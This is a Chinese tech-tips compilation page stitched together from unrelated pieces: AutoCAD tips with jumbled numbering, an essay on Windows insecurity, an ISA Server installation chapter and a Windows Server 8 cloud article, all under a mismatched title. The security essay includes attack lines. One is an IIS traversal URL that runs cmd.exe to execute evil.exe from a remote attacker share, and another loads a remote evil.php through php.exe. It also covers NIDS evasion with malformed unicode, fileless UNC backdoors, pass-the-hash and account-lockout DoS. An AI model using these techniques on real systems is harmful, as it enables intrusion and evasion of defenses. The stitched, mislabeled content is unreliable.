crossing_window or crossing_polygon…”,要求你再输入一个“C”后才能用鼠标去选择目标。为了使操作简化,用户只需将系统提供的工具按钮做些小小的修改即可。右击任意工具钮弹出“Toolbars”对话框,再右击“stretch”工具钮弹出“Toolbars”对话框,在“Macr”框中的“^c^c_stretch”后键入空格和“C”。以后你再点击处理后的工具钮可以接选择目标进行操作
。
39. AuotCAD R14用户均采用系统给出的缺省格式存盘,这种格式存盘的缺点是文件所占空间大,不能用低版本的应用程序(如:AuotCAD R12、AuotCAD
R13)打开,为避免磁盘空间的浪费,你可以在“Save Drawing As”对话框的“保存类型”中选“AuotCAD R12/LT2 Drawing”格式存盘。例如:同一dwg文件用两种方式存盘,它们的大小分别是87KB、58KB。可见差别还是很可观的。而且后者文件可以在R12、R13版本的应用程序中打开。这种方式对配置较低的用户尤为实用。
40. 有时在打开dwg文件时,系统弹出“AutoCAD Message”对话框提示“Drawing file is not valid
”,告诉用户文件不能打开。这种情况下你可以先退出打开操作,然后打开“File”菜单,选“Drawing
Utilities/Recover”,或者在命令行直接用键盘输入“recover”,接着在“Select
File”对话框中输入要恢复的文件,确认后系统开始执行恢复文件操作。
41. 汉化菜单。将support目录下的acad.mnu文件复制为chinese.mnu。用写字板打开chinese.mnu。仔细观察会发现其中有许多类似“* * *POP”的条目,每一条自定义了一列下拉菜单。将引号中的英文命令名称改为中文,存盘退出。再在R14中输入“menu”命令,将chinese.mnu菜单文件装入,下拉菜单就变成了中文。还可以再装入acad.mnu文件将菜单还原。
42. R14默认的“命令取消”键是“ESC”键,如果你已经习惯了R12的“Ctrl+C”怎么办呢?点击菜单Toolspreferencescompatibilitypriority
for accelerator keysautoCAD classic,然后就可以用“Ctrl+C”取消命令了,同时“ESC”键仍然有效。
43. trim命令中提示选取要剪切的图形时,不支持常用的window和crossing选取方式。当要剪切多条线段时,要选取多次才能完成。这时可以使用fence命令提示选择要剪除的图形时,输入“f”,然后在屏幕上画出一条虚线,回车,这时被 该虚线接触到的图形全部被剪切掉。
44. 单击“Object Propertys”工具条上的“Make objects' layer
current”按钮,然后在作图区选择要去的图层上的任一图形,当前层立刻变换到选取的图形所在层。
45. 用R14打开R11和R12的文件时,即使正确地选择了汉字字形文件,还是会出现汉字乱码,原因是R14与R11或R12采用的代码页不同。可到本站或AutoDesk公司主页下载代码页转换工具wnewcp。运行wnewcp后,首先选中“R11/R12”复选框,再单击“Browse”按钮,选择要转换的文件或目录,然后选择新的代码页,ANSI936或GB2312均可,单击“Start Conversion”即开始转换。转换后,在R14中就能正确地显示汉字。
46. 在AutoCAD中有时尺寸箭头及Trace画的轨迹线变为空心,用TRIMMODE命令,在提示行下输新值1可将其重新变为实心。
47. 用AutoCAD打开一张旧图,有时会遇到异常错误而中断退出,这时首先使用40介绍的方法,如果问题仍然存在,
则可以新建一个图形文件,而把旧图用图块形式插入,可以解决问题14.AutoCADR14的命令缩写也可用在R13,方法是将AutoCADR14下Support子目录下的ACAD.pgp拷贝至AutoCADR13的Support子目录下。
15.AutoCAD中ACAD.pgp文件十分重要,它记录命令缩写内容,用户可自定义它们,格式如下:<命令缩写>*命令名称。也可定义系统命令,AutoCADR14提供了sh命令,可执行DOS命令,但在Windows下作用不大。命令缩写>
16.AutoCADR14中用NOTEPAD、EDIT、DIR、DEL等系统命令,笔者认为其中NOTEPAD对自定义CAD用途较大,但使用起来会发现屏幕一闪(进了DOS),又返回,十分让人不愉快,让我们来编一个小程序,取名为note.lsp:
(defunc:notepad()
(startapp“notepad”)
)
先将ACAD.pgp中的NOTEPAD命令定义行删除,重入CAD后,再将此程序用命令:(load“note”)装入,下一次用NOTEPAD命令会有更好效果,最好将(load“note”)加入Support子目录下的ACADR14.lsp中。
17.AutoCADR14中打印线宽可由颜色设定,这样机械制图中的各种线型不同、线宽不同的线条可放入不同的层,在层中定义了线型和颜色,而在打印设置中设定线型与颜色的关系,效果良好。
18.AutoCADR14的Support中ACAD.dwt为缺省模板,要好好加工它,把常用的层、块、标注类型定义好,再加上标准图框,可省去大量重复工作。
19.AutoCAD中有不少外部Lisp命令文件,可以直接观察它们,如果学习开发Lisp应用程序,注意:R14可是最后一版Lisp文件内容公开的AUTOCAD,在CAD2000中Lisp文件内容是加密的(笔者正在研究解密程序)。
20.AutoCAD二次开发工具很多,Lisp早就有了,R11提供了ADS(AcadDevelopsystem),R12中提供了ADS对实模式下C编译器(如BC,MSC)的支持,R13提供ARX(AcadRuntimeeXtend),R14提供了VBAutomation,这个Automation使VB编写CAD程序成为可能,渴望CAD编程的人有了一个最好的选择,不必学习ADS、ARX、ObjectARX,和AutoLisp,一起加入AutoCAD编程的世界。
21.用户自定义的Lisp文件一定要自动装入AutoCAD,这样就需要在acadr14.lsp中加入用户Lisp文件的装入语句,acadr14.lsp(早期版本为acad.lsp),好似DOS的Autoexec.bat,一定要好好利用,在其中如定义了名为S::STARTUP()的函数可自动运行它(给CAD加个启用画面如何,可用STARTUP加startapp函数,也可加登录密码)。
22.将AutoCAD中的图形插入WORD中,有时会发现圆变成了正多边形,用一下VIEWRES命令,将它设得大一些,可改变图形质量。
23.形如f30H11()的标注如何去标注呢,请在文本内容中输入“%%c30{H11(}{H0.7x;S+0.1^-0.2;})”,可以实现,如嫌太麻烦,就编个程序来简化操作。
24.AutoCAD中文件可当作块插入其他文件中,但这样一来过多的块使文件过于庞大,用PURGE来清除它们吧,一次清一层,一定要多用几次呀!
25.AutoCADR14的帮助文件内容十分丰富,由很多本“书”组成,一层层打开,多看它们用处是很大的,其中包括了CAD的各方
面,比任何CAD大全还全,你是否想您的帮助加入其中,请修改acad.cnt,加入自己帮助的链接。
26.在CAD中可按规定编定.ahp的CAD帮助文件,在R14下用ahp2hlp.exe将其转变为.hpj的文件和.rtf的文件,再用HelpWorkshop工具(在VC5中有)将其项目打开,编译为.hlp文件。
27.在AutoCAD中有一些DOS下的exe文件在R14中仍有用途,用Slidelib.exe可将幻灯片作库,mc.exe可实现菜单的编译。
经验和方法
1、基础很重要
实践证明,“手工图板”绘图能力是计算机绘图能力的基础,学习《AutoCAD》,需要一定的画法几何的知识和能力,需要一定的识图能力,尤其是几何作图能力。
2、循序渐进
整个学习过程应采用循序渐进的方式,先了解计算机绘图的基本知识,如相对直角坐标和相对极坐标等,使自己能由浅入深,由简到繁地掌握AutoCAD 2000的使用技术。
3、学以致用
在学习AutoCAD 2000命令时始终要与实际应用相结合,不要把主要精力花费在各个命令孤立地学习上;要把学以致用的原则贯穿整个学习过程,以使自己对绘图命令有深刻和形象的理解,有利于培养自己应用AutoCAD 2000独立完成绘图的能力。
4、熟能生巧
配套的《计算机绘图习题集》作为上机实验书,它能使我们更加深入地理解、熟练AutoCAD 2000的命令。要强迫自己做几个综合实例,分别详细地进行图形的绘制,使自己可以从全局的角度掌握整个绘图过程,力争使自己学习完AutoCAD 2000课之后就可以投身到实际的工作中去。
掌握技巧
1、常见问题要弄懂
(1)同样画一张图,有的同学画的大小适中,有的同学画的图形就很小,甚至看不见,这是为什么?
这是因为绘图区域界限的设定操作没有做,或虽用LIMITS命令进行了设定,但忘记了用ZOOM命令中的ALL选项对绘图区重新进行规整。绘图区域的设定是根据实际的绘图需要来进行的。
(2)有同学用线型名称为“HIDDEN”的线型画线段,但发现画出的线段看上去像是实线,这是什么原因引起的?
这是“线型比例”不合适引起的,也就是说“线型比例”太大,也可能是太小。解决问题的办法是将线型管理器对话框打开,修改其“全局比例因子”至合适的数值即可。
(3)在进行尺寸标注以后,有时发现不能看到所标注的尺寸文本,这是什么原因引起的?
这是因为尺寸标注的整体比例因子设置得太小,将尺寸标注方式对话框打开,修改其数值变大即可。
以上三个问题仅仅是我的同学们上机过程中遇到的最典型的三个问题和困难。实际问题不胜枚举,作为学员彻底弄懂这些问题,很有必要,对提高绘图质量和效率很有帮助。
2、有比较,才有鉴别
容易混淆的命令,要注意使自己弄清它们之间的区别。如ZOOM和SCALE,PAN和MOVE,DIVIDE和MEASURE等等。
3、层次要分明
图层就像是透明的覆盖图,运用它可以很好地组织不同类型的图形信息。学习过程中,我的同学图省事,直接从对象特性工具栏的下拉列表框中选取颜色,线型和线宽等实体信息,这很不好,使得处理图形中的
信息不那么容易,要特别注意纠正自己的这一不好习惯。严格做到层次分明,规范作图。我的体会是:养成良好的习惯,受益匪浅。
4、粗细要清楚
能够显示实体的线宽是AutoCAD 2000的新功能。使用线宽,可以用粗线和细线清楚地展现出部件的截面,标高的深度,尺寸线以及不同的对象厚度。作为学员,一定要通过图层指定线宽,显示线宽。提高自己的图纸质量和表达水平。
5、内外有别
利用AutoCAD 2000的“块”以及属性功能,可以大大提高绘图效率。“块”有内部图块与外部图块之分。
内部图块是在一个文件内定义的图块,可以在该文件内部自由作用,内部图块一旦被定义,它就和文件同时被存储和打开。
外部图块将“块”的主文件的形式写入磁盘,其他图形文件也可以使用它,要注意这是外部图块和内部图块的一个重要区别。
6、滴水不漏
图案填充要特别注意的地方是构成阴影区域边界的实体必须在它们的端点处相交,也就是说要封闭,要做到“滴水不漏”;否则会产生错误的填充。作为学员最好还要学会如何查找“漏洞”,修复错误。
7、写文字要规范
文字是工程图中不可缺少的一部分,比如:尺寸标注文字、图纸说明,注释、标题等,文字和图形一起表达完整的设计思想。尽管AutoCAD 2000提供了很强的文字处理功能,但符合工程制图规范的文字,并没有直接提供。因此要学会设置“长仿宋体”这一规范文字。具体操作的简要步骤是,打开“文字样式”对话框,新建一个样式,可取名为“长仿宋体”,对话框中字体名改为选用“仿宋体GB-2312”,宽度比例也要改为0.67。尺寸标注的文字可改为“italic.shx”代替“仿宋体GB-2312”。
另一种作用规范文字更简单的方法是,直接使用AutoCAD 2000样板文件提供的“工程字”样式;注意,使用前要用“使用模板”方式启动AutoCAD 2000,选择国标标题(如:GBA3)进入绘图状态。再将“工程字”样式置为当前工作样式。这种方法,大多数教科书中没有提及,作为学员要注意补充一下这一训练。
8、特殊字符,特殊处理
实际绘图中,常需要输入一些特殊字符,如角度标志,直径符号等。这些中利用AutoCAD提供的控制码来输入,较易掌握。
另一些特殊字符,如“τ”、“α”、“δ”等等希腊字母的输入,掌握起来就不那么容易了。它要用到MTEXT命令的“其他…”选项,拷贝特殊字体的希腊字母,再粘贴到书写区等操作。尤其要注意字体的转换等编辑。
还有一些特殊文本,如“φ”在机械制图中应用较多,叫做带上、下偏差的尺寸公差标注,也可用MTEXT命令的“堆叠”功能来实现。这样做远比在尺寸标注对话框中调节相应功能数值方便得多。我个人的体会是:特别方便!
9、不依规矩,不成方圆
工程标注是零件制造、工程施工和零部件装配时的重要依据。在任何时候一幅工程图
中,工程标注是不可少的重要部分。在某些情况下,工程标注甚至比图形更重要。
我的许多同学不怕绘图,怕标注;原因之一是尺寸标注方式对话框里选项太多,自己又理解不清,更不知道这些选项之间如何配合,所以往往很难达到理想的标注效果。
为此,除应弄清对话框里各选取项的含义及常用值外,还应督促自己学习时应遵守如下五个规程:
1、为尺寸标注创建一个独立的层,使之与图形的其他信息分开,便于进行各种操作。
2、为尺寸文本建立专门的文字样式(如前述“长仿宋体”)和大小。
3、将尺寸单位设置为所希望的计量单位,并将精度取到所希望的最小单位。
4、利用尺寸方式对话框,将整体比例因子设置为绘制图形时的比例因子。
5、充分利用目标捕捉方式,以便快捷拾取寻找点。
10、两个空间、两个作用,两个练习
在AutoCAD 2000环境中有两种空间:模型空间和图纸空间,其作用是不同的。一般来说,模型空间是一个三维空间,主要用来设计零件和图形的几何形状,设计者一般在模型空间完成其主要的设计构思;而图纸空间是用来将几何模型表达到工程图之上用的,专门用来进行出图的;图纸空间有时又称为“布局”,是一种图纸空间环境,它模拟图纸页面,提供直观的打印设置。目前的设计方向是进入三维的零件建模和设计,那么零件设计好之后需要表达到工程图上时,需要对其进行各个角度的投影,标注尺寸,加入标题栏和图框等等操作,此时在模型空间已经不能方便地进行这些操作了,在图纸空间则非常方便。在图纸空间中可能创建并放置视口对象,还可以添加标题栏或其他几何图形。可以在图形中创建多个布局以显示不同视图,每个布局可以包含不同的打印比例和图纸尺寸。布局显示的图形与图纸页面上打印出来的图形完全一样。
为了使自己深刻理解“图纸空间”的作用,学习时,要根据老师要求求至少做两个这方面的实际例子,巩固“图纸空间”的概念。不得偷懒!
11、九九归一
计算机绘图的目标就是要使设计的结果在生产实践中发挥作用。目前的设计结果基本上以纸基图纸的方式进入到生产中,同时,在设计单位,纸基的图纸也是图纸档案管理的主要对象。虽然计算机辅助设计的发展方向是达到设计、生产的无纸化,但除了极少数巨型的制造企业外,绝大多数普通的设计生产单位还是以纸基图作为组织设计生产的依据。因此,怎样将AutoCAD 2000设计产生的电子格式的图纸转换成描绘在规定幅面上的纸基格式的图纸,是一个与生产实际结合得非常紧密的问题,在某种意义上来说,这一步与图形的修改、编辑等绘图过程同等重要。
因此,“打印”的学习,除了弄清楚对话框的使用外,还应积极参加老师组织的一次演示课,使自己真实感受一下“计算机绘图”的这一最后环节。
综上所述,学然后知不足。AutoCAD还有许多实用的功能,尤其是一些三维功能。学无止境,只要大家在学习中善于总结和归纳,一定能找到最佳学习方法。
篇5:WIN技巧:为什么WIN不安全
这篇文章早就想写了,只是题目太大了,所以一直不敢写,高手可以厚积薄发,我 只能积多少发多少了,
关于Windows 和*nix 谁更安全的讨论很多。*nix 大家知道存在着suid之类的死穴,那么Windows的哪些特点始终与安全问题纠结在一起呢?
一:代码庞大,代码重用
有一个“小程序定理”:程序中的bug 和程序大小成正比。还有一句谚语:凡可能出错的地方就一定会出错。微软的程序员不是神,那么多行代码,还要求软件工程学上的完美,
代码重用……昨天ilsy跟我提到那个ldap溢出,其实就是一个根本不该犯的错误,但是仍然犯了。要求代码重用就意味着在某个版本上出现的问题,就可能会在后续版本中都有问题,其他重用此代码的程序中也可能会有问题。
曾经有人说Windows .net出来,搞Windows 安全的就没饭吃了,我看一定不会,盖兹不会那么残忍。
二:盲目追求易用性和兼容性
毕竟是开公司,当然是怎么赚钱最多就怎么搞,听casper说微软花上百万去研究按钮的
光源从哪个角度照下来好看。好用的东西,傻瓜的东西,大家当然愿意买。所以默认就什么都支持,什么都包含,什么都关联什么都兼容。
三:废话不说了,说点实在的。
1、unicode的支持
IIS的unicode漏洞我就不多说了,其实除了IIS,其他还有不少Windows上的web 服务器存在类似问题。因为对unicode 的解码是系统内核完成的,真要想把错误解码问题解决,估计花钱不会少。我发现微软其实并没有在unicode 漏洞的补丁中真正把错误解码纠正,而只是简单过滤了一些危险的字符编码。主要是不允许“.”和“/”或者“”在一起出现,否则就报错。所以我们仍然能用错误解码来做一些事情,譬如说对付NIDS。把我们要扫描或者利用的http请求转换成错误编码格式,大多数的NIDS都是不能识别的。大家可以试验一下,看看是不是有哪家的NIDS 可以检测到这个。附录1是我自己搞的一个Windows 中文版unicode错误解码表,不一定很全,大家可以参考。有兴趣的可以用这张表搞一个扫描器,对每一个字符随机使用正常unicode编码、utf8 编码和错误解码,看看是否还有什么NIDS可以识别。
我甚至相信在XP中,这个问题也未必会得到根本的解决。
2、扩展名欺骗
我们都认为Windows下文件性质由扩展名决定,也很容易相信一个doc(关掉宏的话)或者gif文件是无害的。但事实上,Windows不完全是按照扩展名来处理文件的,它会根据文件头部的信息对文件性质作初步的判断。NT 4就曾经出现过这样的问题:对于一个EXE 文件,当命名为.DOC时,双击运行,系统仍然按照EXE文件来加载执行!即使Windows 2000下,我们把一个EXE 文件扩展名改成任意的,在命令提示符下仍然会当作EXE文件运行:
C:>test.exe
only test !
C:>ren test.exe test.txt
C:>test.txt
only test !
C:>ren test.txt test.any
C:>test.any
only test !
幸好在资源管理器里双击运行时不存在这样的问题。但是EXE文件扩展名改为.com .cmd .bat .pif .scr仍然能正常双击运行,还有一定欺骗性。不少邮件病毒就是用了类似的手段。
3、8.3文件名,16位子系统,POSIX子系统,OS2子系统
能运行16位程序、OS2、POSIX 程序也是Windows NT/2000的一个卖点。但是由于对这些的支持需要使用一些系统级的 Privilege,也可以认为是某种意义上的suid,所以造成了安全隐患。历史上NT 4就曾经由于POSIX 子系统的问题出现过提升权限的漏洞。一般的系统加固手册中都会要求关掉这些支持。
Dos对长文件名会作截短处理,Windows NT/2000虽然支持长文件名,但默认也支持截短后的8.3 格式。当我们对某个文件进行基于文件名的访问控制的时候,就有可能通过使用截短的8.3 文件名来绕过控制。对于某些设计未考虑此问题的WEB服务器来说,就可能导致CGI源码泄漏。
4、“/”“”不分
Windows 下一般使用“”表示目录,但是对“/”也可以接受,这和*nix仅仅支持“/”是不同的,
在编写asp、php等的时候,以及在写WEB 服务器之类程序的时候,如果没有把这两种都考虑到,往往会导致对WEB上级目录的越权访问。以前Win32 Apache就有这个问题。
5、UNC路径支持
对UNC 路径的支持可以使我们很简单的访问远程文件,但它所带来的安全问题也的确是太多了。首先,UNC 几乎在任何地方都可以被使用,可以有无数种方法欺骗用户访问入侵者的机器,而Windows NT/2000 的认证机制为了易用性,默认会在你访问的时候主动把当前用户密码散列值发送过去,对于没有加固的系统来说,散列值和密码本身几乎是没有什么区别的。
Windows NT/2000上安装Apache + php后,默认存在一个“/cgi-bin/php.exe?”的漏洞,漏洞发现者告诉我们这个问题可以被用来察看系统的任意文本,但事实上这个漏洞完全可以获得远程shell。因为我们可以这样:
cgi-bin/php.exe?myipshareevil.php。
如果*nix上存在这个问题,就仅仅只能用来看文件DD除非你能传文件上去。
类似的,在一些漏洞的利用中,即使用户对所有目录都不可写,我们仍然可以运行指定的程序:host/scripts/../../cmd.exe?/c+myhostshareevil.exe
同样还可以用UNC 路径来安装真正无文件的后门,只要在注册表某个可以自启动的项上或者计划任务列表中添加一个指向UNC路径的程序即可。这个文件是不存在于本地硬盘上的,甚至也不会在临时文件夹里,可以躲过很多审核工具。
要去除对UNC路径的支持,可以禁用DeviceMup设备。
6、设备文件名问题
*nix 的一个特色是“一切皆文件”,大概是受其影响,Windows NT/2000的很多设备也可以通过字符链接作为文件访问。有些程序在编写的时候,为防止对任意驱动器的访问的控制手段设计考虑不足,如果我们通过“.D:”这样的方式来试图访问D:盘,就可能绕过一些编写不当的程序。
为了向上兼容,DOS设备文件名,如“PRN”、“CON”等在Windows NT/2000下仍然被支持。9X 下可以通过简单的直接对DOS 设备文件名的访问导致蓝屏,Windows NT/2000下做了一些处理,但是很多程序还是存在类似的问题,譬如Lotus Domino Server、OE等,甚至IIS在某些特殊情况下也会受影响导致拒绝服务。
又因为这些设备文件名是“无处不在”的,当我们需要某种类型文件来做点事情的时候就用得上了。先假设存在一个.plx的溢出,但是WEB目录下根本没有.plx 文件,这时候我们就可以用con.plx这样的文件来传递溢出代码了。
7、注册表庞大而复杂
注册表对于Windows 来说太重要了,也有太多的东西了,其中还有那么多是未公开的。如果在注册表里留个后门,弄得好的话,几乎是不可能被审核出来的。所以定期备份注册表文件对一个Windows系统管理员来说是很重要的。
8、WSH,script
WSH对象实在太强大了,再加上系统脚本引擎是默认安装的,又在包括IE、Office等的MS软件中被广泛支持,所以难免出问题。纵观IE,outlook的漏洞,很多都和这个有关。
9、系统权限分配繁冗
Windows NT/2000中几乎每个东西都可以设置权限,每一个对象,注册表项,设备……这么庞大的访问控制列表,实在难以一一审核,而其中很多都可以被用来作为后门。
10、默认兼容lanman验证
早在Windows NT 4.0的时代,就有人提出了传递散列值的进攻方法。因为在lanman验证方法中只是简单的比对MD 4散列值。那么理论上只要我们有了帐号和口令的散列值就可以通过lanman 验证,而不需要用l0pht Crack之类的工具去解出口令。由于这种攻击方式需要从根本上改动验证过程,而修改Windows内核过于困难,当时的发现者是使用修改Samba的方法来实现的,而且代码并未公开。最近有人对此提出可一个新思路,并公开了代码,可以在各种平台上实现,使得这个问题的风险大大增加了。所以在作系统加固的时候一定要把验证方式改掉。
11、设计失误
Windows上有很多设计失误,譬如帐号锁定和IIS的安全设计之间就有冲突(coolweis最早提出),一旦启用帐号锁定策略,我们可以对IUSER_和 IWAM_进行穷举,这两个帐号锁定后,任何人都无法访问IIS,这样很小的代价就实现了DoS。类似的问题还有不少。
篇6:WIN技巧:安装ISAServer
2.2 安装ISA Server
为了在服务器计算机上完成ISA Server的安装,首先必须安装网络并且根据选择的网络拓扑结构配置连接,如果采用阵列或企业策略,还必须初始化企业,将阵列架构信息安装到Active Directory存储器中。在ISA Server的实际安装过程中,需要构造本地地址表(LAT),列出内部网络地址的 范围。
本节学习目标
l 为安装ISA Server准备服务器计算机
l 初始化企业并描述其用途
l 构造LAT并描述其功能
l 完成ISA Server的安装
l 排除ISA Server安装中的故障
估计学习时间:50分钟
2.2.1 安装ISA Server之前
安装ISA Server之前,必须安装硬件并配置将要运行ISA Server的计算机的软件。
2.2.1.1 安装网络适配器
可以选择用直接连接(例如T1、T3、xDSL或电缆调制解调器)或者拨号连接将网络与Internet相连。如果选择直接连接,需要安装并配置一个外部网络适配器。
为外部网络适配器配置TCP/IP属性时,与ISP核对一下正确的设置。尤其需要把子网掩码和分配给外部适配器、默认网关和DNS服务器的IP地址。在有些情况下,ISP可能用动态主机配置协议( DHCP)对客户地址进行动态分配。
一般来说,ISA Server只有一个IP默认网关。应当只在外部网络适配器上配置默认网关的IP地址,而不是在内部网络适配器上。内部网卡的Default Gateway设置为空即可。
参阅Windows 2000 Server帮助中的指导来安装网络适配器。
2.2.1.2 TCP/IP设置
为任何网络适配器设置TCP/IP属性时,都应该为ISA Server计算机输入一个永久保留的IP地址,并为局域网输入一个适当的子网掩码。既然网络内部客户会把ISA Server计算机的地址指定作为默认网关,而且DHCP可以重新设置ISA Server计算机的地址,就不能对服务器内部网络适配器使用DHCP来分配地址。然而,外部NIC的地址可以是启用DHCP的,也可以是静态定义的,再加上默认网关和DNS设置。
Windows 2000根据适配器的单一MAC地址识别加载到系统上的各个适配器。可以运行ipconfig /all命令,以得到ISA Server计算机的两个网络适配器的媒介访问控制(MAC)地址,并确定各个网卡配置正确。
配置完适配器和IP地址后,应该使用Ping程序以测试与其他计算机的连通性。如果可以成功地从ISA Server计算机ping到内部网络客户,内部网络适配器配置就是正确的。如果可以从ISA Server计算机ping到您的上游Internet网关、ISP的DNS服务器或任何Internet地址,外部网络适配器的配置就是正确的。检验网络连通性后,可以通过nslookup 实用程序查找与网络地址相关的IP地址来检验域名解析,例如nslookup www.microsoft.com。
2.2.1.3 安装调制解调器或ISDN适配器
如果决定用拨号连接而不是通过外部网络适配器直接连接到Internet,您必须为服务器配备调制解调器或ISDN适配器。
依靠ISDN适配器,您或许无法在Windows 2000下浏览两个ISDN通道。一般来说,ISDN网卡驱动程序为第二通道管理基于带宽的连通性。您不能在Windows 2000下使用Routing and Remote Access控制台管理驱动程序。请确保安装了网络适配器以配置两个通道,并确保ISP支持两个通道的连接。
参阅Windows 2000Server Help的指令来安装ISDN适配器或调制解调器。
2.2.2 Windows 2000路由表
安装ISA Server之前,先配置ISA Server计算机的路由表,其中包括内部网络中的所有IP地址范围。可以用Windows 2000路由程序来浏览并配置路由表。还可以使用Windows 2000 Routing and Remote Access控制台。然而,必须首先配置并启动Routing and Remote Access Service。接下来,在安装过程中ISA可以根据您的Windows 2000路由表构建LAT。如果上述操作有误,可以随时手工改正LAT。
正确配置LAT保证了ISA Server知道使用哪个网络适配器来访问内部网络的不同部分。如果未能正确配置路由表,就可能无法正确构建ISA Server LAT。这可能导致客户对内部IP地址的请求被错误地路由到Internet上,或者通过防火墙服务被重定向。
如果需要的话,应该手工编辑LAT使其涵盖所有其他的网络,包括那些通过内部路由器的网络。这样,ISA Server和防火墙客户端就能正确地判断什么时候使用ISA Server以及什么时候直接访问某一资源。
2.2.3 安装ISA Server
将ISA Server光盘插入驱动器时,就会显示ISA Server Setup屏幕,从该屏幕上调用Setup,
ISA Server Setup屏幕如图2.9所示。
l 如果是第一次将ISA Server安装成阵列成员,那么必须首先运行ISA Server Enterprise Initialization Tool。
l 如果安装独立的服务器,或者如果以前在企业中安装过ISA Server,就可以选择Install ISA Server。
初始化企业
用ISA Server企业版,可以将ISA Server计算机配置为阵列成员。将ISA Server计算机安装成阵列成员之前,必须将ISA Server架构更新安装到域控制器的Active Directory架构上。ISA Server包含用来安装ISA Server架构更新的Enterprise Initialization 实用程序。可以在ISA Server Setup屏幕上找到这个程序,如图2.10所示。
ISA Server架构更新应用之后,ISA Server安装到计算机的所有后续步骤都使用更新的Active Directory架构。
注意 为了安装ISA Server架构更新,您必须是Enterprise Admins组中的成员。参阅Windows 2000 Server 帮助,以获得有关用户和组许可的特殊指令。
当完成ISA Server Enterprise Initialization Tool操作时,ISA Server架构更新就已经安装到了Active Directory架构下。现在可以将ISA Server安装成阵列成员,创建ISA Server应该加入的阵列。
注意 为阵列中的第一台计算机创建阵列。加到Active Directory存储器中的信息可能会花一段时间进行复制。因此建议您创建另一个阵列之前先等待一段时间。
2.2.4 安装程序
安装ISA Server时,要求您提供以下信息。
要点 安装ISA Server之前必须安装Windows 2000 Service Pack 1或更高版本。
l 安装序列号 这是位于ISA Server 安装光盘盒背面的10个数字。
l 安装选项 您可以选择典型(Typical)安装、完全(Full)安装,或自定义(Custom)安装。表2.6显示典型安装中需要安装的组件。完全安装将安装所有的选项;自定义安装允许您选择单独的组件。
l 选择阵列 如果以前初始化过企业,可以选择加入哪个阵列。如果没有初始化企业,ISA Server将被安装成独立的服务器。
l 模式 可以选择将ISA Server安装成防火墙模式、缓存模式或集成模式。
l 缓存配置 如果将ISA Server安装为集成或缓存模式,必须配置使用哪个缓存驱动器以及缓存的大小。
图2.11所示是配置缓存设置的对话框。
l 本地地址表配置 如果将ISA Server配置成集成模式或防火墙模式,必须配置包含在本地地址表中的地址范围。
2.2.5 构建本地地址表
如果将ISA Server安装成防火墙模式或集成模式,作为安装过程的一部分,必须指定本地地址表,或者说LAT。LAT表格列出了ISA Server计算机后内部网络使用的所有内部IP地址范围。ISA Server利用LAT来控制内部网络的机器如何与外部网络通信。
一般来说,LAT包括与ISA Server计算机上内部网卡有关的所有IP地址,以及Internet编号授权委员会(IANA)定义的专用IP地址范围。图2.12所示是在安装过程中配置LAT的对话框。
ISA Server能够以您的Windows 2000路由表为基础构建LAT。您还可以根据IANA的RFC1918选择专用IP地址范围。这3组地址专供内部网之用,从不在公用Internet上使用。
默认的LAT包含通常所说的专用IP地址。这些地址列在本地路由表中。由于ISA Server读取Windows 2000 Server路由表的方式,默认的LAT可能不包括组织的所有地址。您可以手工添加这些地址。还可以将不属于网络的地址添加为本地地址。
LAT集中保存在ISA Server计算机上。防火墙客户端按预设时间间隔自动地下载和接收LAT更新。防火墙客户端请求某个对象时,客户端会核对LAT。如果IP地址请求在LAT内,防火墙客户端就可以直接请求该对象。如果该IP地址不在LAT内,客户端会要求ISA Server计算机代表它请求那个对象。
安全网络地址转换客户端没有LAT的本地复本,因此当一个安全网络地址转换客户端请求某一对象时,该请求会被发送给ISA Server。如果该请求是传给一个外部IP地址,ISA Server会代表客户发出请求。
Windows 2000 路由表
ISA Server构建LAT时运用Windows 2000路由表判断内部网络的哪些地址范围是内部的。如果您未能正确配置路由表,就可能无法正确构建ISA Server LAT。结果,客户端对内部IP地址的要求被路由到Internet上,或者通过防火墙服务被重定向。您可以用Windows 2000路由实用程序来配置相应的路由表。接下来,在安装过程中可以根据您的Windows 2000路由表构建LAT。
2.2.6 默认配置
篇7:WIN技巧:Windows 防火墙
小公司和大企业都将可以使用Windows Server 8来建立自己的云服务,微软公司的一份白皮书揭示了应用即将发布的服务器操作系统来构建IaaS平台的细节。
在通过 Windows Azure平台提供PaaS云服务和两个SaaS解决方案――Office 365及Dynamics CRM Online――之后,微软准备提供另一新选择,为希望建立自己的私有IaaS云的客户提供基于Windows Server 8的解决方案。除Windows Server之外,这个解决方案还使用了AppFabric和System Center,下图展示了细节:
Windows Server 8 (WS8)允许企业从传统的或虚拟化的数据中心转移到“云端”,WS8能够自动分配资源,并允许多用户创建彼此隔离的虚拟机(VM),以保证可扩展性和可管理性。不仅如此,通过Live Migration,可以在集群、子网或WAN子网络间的Hyper-V主机中迁移多个运行中的虚拟机,而无需停止服务或重新配置IP地址,Storage Migration可用来在网络间不停机地移动虚拟化硬盘,微软在BUILD 2011上介绍了上述特性。Live Migration允许企业从内部的基于Hyper-V的虚拟化解决方案迁移到私有的或托管云上,而无需停机,
在安全方面,Hyper-V Extensible交换机提供了下述特性:私有虚拟局域网,ARP攻击/欺骗保护,DHCP欺骗保护,虚拟端口访问列表,和支持VLAN trunk模式。WS8同时提供资源计量,包括静态计量――虚拟CPU数量或分配的磁盘空间――和动态计量,如CPU使用率或网络带宽使用率。同时还提供一系列性能计数器――SMB2文件共享利用率,RDMA利用率,网络流量和虚拟机指标――用以量化各种资源的性能。
WS8支持设定QoS策略,例如,可以设定SLA来保证最小的和最大的网络带宽,因此客户可以免受其他客户高带宽使用的影响,对于主机提供商来说,设定网络带宽SLA也可以保护自身,避免部分软件缺陷消耗过多带宽。SLA是自动强制执行的。
WS8云可以通过Windows PowerShell 3管理,Windows PowerShell 3 预定义了数千个cmdlet,可用于执行不同的云管理命令和Windows PowerShell Workflows,Windows PowerShell Workflow是批处理命令的现代替代品。
微软推荐将WS8用于各种规模的云,从只需要几十个服务器的中等规模的业务,到有几百台服务器的企业,再到拥有数千台服务器的主机提供商。
白皮书“应用Windows Server 8构建基础设施服务(IaaS)”包括了关于如何应用Windows Server 8创建云服务的更多信息,包含可扩展性、可访问性和可扩充性。
★ 创建Win域和Win域之间的信任关系,Active Directory系列之十八
【WIN技巧:ExchangeOutlookWebAccess疑难解答(共7篇)】相关文章:
年终总结程序员2024-03-09
程序员年终总结2022-11-28
学习计算机技巧2023-07-22
Win8系统手动进入“高级启动菜单”的方法2023-05-01
程序设计员自我鉴定2023-08-06
WIN10的这三个版本?2022-04-30
对方伪造协议书的2022-05-06
Win7系统如何连接到打印机程序(端口与程序)2022-05-02
